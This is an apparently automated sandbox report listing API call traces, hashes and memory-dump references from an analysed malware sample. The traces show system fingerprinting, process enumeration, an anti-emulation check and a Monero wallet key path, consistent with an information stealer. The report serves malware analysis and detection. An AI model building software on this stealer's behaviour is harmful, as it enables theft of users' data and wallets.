Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: f8f816efe07d1e3d2ec0826f1e029ff34d2b8c9fe0630efa35ba994a3b7e4be2
Instruction ID: dcc3ed6400791c93ddd1efa1bad57188a0f5785c03382146193312756c73b575
Opcode Fuzzy Hash: f8f816efe07d1e3d2ec0826f1e029ff34d2b8c9fe0630efa35ba994a3b7e4be2
Instruction Fuzzy Hash: 6021B8B6D0030867C768F760EC46EED337CAB54300F0055A9B659A3185EEB597C98B91

Function 00ED0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00A99148), ref: 00ED079A
StrCmpCA.SHLWAPI(00000000,00A99108), ref: 00ED0866
StrCmpCA.SHLWAPI(00000000,00A99198), ref: 00ED099D

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 3ff5c61f124e172e94489925d193338ac5e922ea059cff48a35b648977dd6f44
Instruction ID: a569ab34a38a3d7326296b6152c608bdc91373e36dbf8597065b0751970fffb9
Opcode Fuzzy Hash: 3ff5c61f124e172e94489925d193338ac5e922ea059cff48a35b648977dd6f44
Instruction Fuzzy Hash: AC916675A102489FCB28EF64D995BED77B5FF94300F44952AE80A9F341DB309B06CB92

Function 00ED0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00A99148), ref: 00ED079A
StrCmpCA.SHLWAPI(00000000,00A99108), ref: 00ED0866
StrCmpCA.SHLWAPI(00000000,00A99198), ref: 00ED099D

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 842e5fcfd7e7c133fc13b9dc0326990dcdd15da8d5024dd39f7c9a0793c3113a
Instruction ID: 35bfd6e14d5b5402b57b51cfb88eb01f9bd538b022aafb78f2a9bfc73d2f7ca5
Opcode Fuzzy Hash: 842e5fcfd7e7c133fc13b9dc0326990dcdd15da8d5024dd39f7c9a0793c3113a
Instruction Fuzzy Hash: C3818875A102489FCB28EF64D995BEDB7B5FF94300F54952AE8099F341DB309B06CB82

Function 00ED9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00ED9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00ED94A5
CloseHandle.KERNEL32(00000000), ref: 00ED94AF

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 0bdcf6edaac1da214c3ad7c1450976923428d7afeb1dfee6a9a60f74702ddfa2
Instruction ID: d92bf89e61f7cdcb3c3dea130281eb34c5304a1bc32b0a3681ca7cc8f3e118fa
Opcode Fuzzy Hash: 0bdcf6edaac1da214c3ad7c1450976923428d7afeb1dfee6a9a60f74702ddfa2
Instruction Fuzzy Hash: 56F03A7490020CABDB19DFA4D84AFE977B8EB08305F0044A9BA1997280D6B06BC5CB90

Function 00EC1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EC112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00EC1132
ExitProcess.KERNEL32 ref: 00EC1143

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d88a8e8744bfd9ec89c3272cea82b0335ca0f827af4f54b019785812b769d10f
Instruction ID: 97ecfab70612d0551d4a9b12fa60fdbce998406d5db83f3bf98ef69f416d1f29
Opcode Fuzzy Hash: d88a8e8744bfd9ec89c3272cea82b0335ca0f827af4f54b019785812b769d10f
Instruction Fuzzy Hash: 4BE08670D45308FBE7246BA0AD0AF0876B8AF04B02F104095F709771C1C6F526419798

Function 00ED1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00ED7542
Part of subcall function 00ED7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00ED757F
Part of subcall function 00ED7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7603
Part of subcall function 00ED7500: RtlAllocateHeap.NTDLL(00000000), ref: 00ED760A

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00ED7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED76A4
Part of subcall function 00ED7690: RtlAllocateHeap.NTDLL(00000000), ref: 00ED76AB

Part of subcall function 00ED77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00EDDBC0,000000FF,?,00ED1C99,00000000,?,00A9DBC0,00000000,?), ref: 00ED77F2
Part of subcall function 00ED77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00EDDBC0,000000FF,?,00ED1C99,00000000,?,00A9DBC0,00000000,?), ref: 00ED77F9

Part of subcall function 00ED7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EC11B7), ref: 00ED7880
Part of subcall function 00ED7850: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7887
Part of subcall function 00ED7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00ED789F

Part of subcall function 00ED78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7910
Part of subcall function 00ED78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7917
Part of subcall function 00ED78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00ED792F

Part of subcall function 00ED7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EE0E00,00000000,?), ref: 00ED79B0
Part of subcall function 00ED7980: RtlAllocateHeap.NTDLL(00000000), ref: 00ED79B7
Part of subcall function 00ED7980: GetLocalTime.KERNEL32(?,?,?,?,?,00EE0E00,00000000,?), ref: 00ED79C4
Part of subcall function 00ED7980: wsprintfA.USER32 ref: 00ED79F3

Part of subcall function 00ED7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00A9E608,00000000,?,00EE0E10,00000000,?,00000000,00000000), ref: 00ED7A63
Part of subcall function 00ED7A30: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7A6A
Part of subcall function 00ED7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00A9E608,00000000,?,00EE0E10,00000000,?,00000000,00000000,?), ref: 00ED7A7D

Part of subcall function 00ED7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00A9E608,00000000,?,00EE0E10,00000000,?,00000000,00000000), ref: 00ED7B35

Part of subcall function 00ED7B90: GetKeyboardLayoutList.USER32(00000000,00000000,00EE05AF), ref: 00ED7BE1
Part of subcall function 00ED7B90: LocalAlloc.KERNEL32(00000040,?), ref: 00ED7BF9
Part of subcall function 00ED7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00ED7C0D
Part of subcall function 00ED7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00ED7C62
Part of subcall function 00ED7B90: LocalFree.KERNEL32(00000000), ref: 00ED7D22

Part of subcall function 00ED7D80: GetSystemPowerStatus.KERNEL32(?), ref: 00ED7DAD

GetCurrentProcessId.KERNEL32(00000000,?,00A9DA20,00000000,?,00EE0E24,00000000,?,00000000,00000000,?,00A9E4D0,00000000,?,00EE0E20,00000000), ref: 00ED207E

Part of subcall function 00ED9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00ED9484
Part of subcall function 00ED9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00ED94A5
Part of subcall function 00ED9470: CloseHandle.KERNEL32(00000000), ref: 00ED94AF

Part of subcall function 00ED7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7E37
Part of subcall function 00ED7E00: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7E3E
Part of subcall function 00ED7E00: RegOpenKeyExA.KERNEL32(80000002,00A8BEC0,00000000,00020119,?), ref: 00ED7E5E
Part of subcall function 00ED7E00: RegQueryValueExA.KERNEL32(?,00A9DB40,00000000,00000000,000000FF,000000FF), ref: 00ED7E7F
Part of subcall function 00ED7E00: RegCloseKey.ADVAPI32(?), ref: 00ED7E92

Part of subcall function 00ED7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00ED7FC9
Part of subcall function 00ED7F60: GetLastError.KERNEL32 ref: 00ED7FD8

Part of subcall function 00ED7ED0: GetSystemInfo.KERNEL32(00EE0E2C), ref: 00ED7F00
Part of subcall function 00ED7ED0: wsprintfA.USER32 ref: 00ED7F16

Part of subcall function 00ED8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00A9E590,00000000,?,00EE0E2C,00000000,?,00000000), ref: 00ED8130
Part of subcall function 00ED8100: RtlAllocateHeap.NTDLL(00000000), ref: 00ED8137
Part of subcall function 00ED8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00ED8158
Part of subcall function 00ED8100: __aulldiv.LIBCMT ref: 00ED8172
Part of subcall function 00ED8100: __aulldiv.LIBCMT ref: 00ED8180
Part of subcall function 00ED8100: wsprintfA.USER32 ref: 00ED81AC

Part of subcall function 00ED87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EE0E28,00000000,?), ref: 00ED882F
Part of subcall function 00ED87C0: RtlAllocateHeap.NTDLL(00000000), ref: 00ED8836
Part of subcall function 00ED87C0: wsprintfA.USER32 ref: 00ED8850

Part of subcall function 00ED8320: RegOpenKeyExA.KERNEL32(00000000,00A9AFC8,00000000,00020019,00000000,00EE05B6), ref: 00ED83A4

Part of subcall function 00ED8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00ED8426
Part of subcall function 00ED8320: wsprintfA.USER32 ref: 00ED8459
Part of subcall function 00ED8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00ED847B
Part of subcall function 00ED8320: RegCloseKey.ADVAPI32(00000000), ref: 00ED848C
Part of subcall function 00ED8320: RegCloseKey.ADVAPI32(00000000), ref: 00ED8499

Part of subcall function 00ED8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00EE05B7), ref: 00ED86CA
Part of subcall function 00ED8680: Process32First.KERNEL32(?,00000128), ref: 00ED86DE
Part of subcall function 00ED8680: Process32Next.KERNEL32(?,00000128), ref: 00ED86F3
Part of subcall function 00ED8680: CloseHandle.KERNEL32(?), ref: 00ED8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00ED265B

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 47f729f37e68ccfac8bedbbe7cbc46d78ce6458e794825e7f0632d3ed46f060e
Instruction ID: 304edd15575514b6f22b126b88306aabb4f201ca3085c4a1743c6256e7401d03
Opcode Fuzzy Hash: 47f729f37e68ccfac8bedbbe7cbc46d78ce6458e794825e7f0632d3ed46f060e
Instruction Fuzzy Hash: 3772DD76C10158AACB19FB90ECA6DEE73B8EF50300F5452BAB41672151EF302B4BDB65

Function 00EC6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
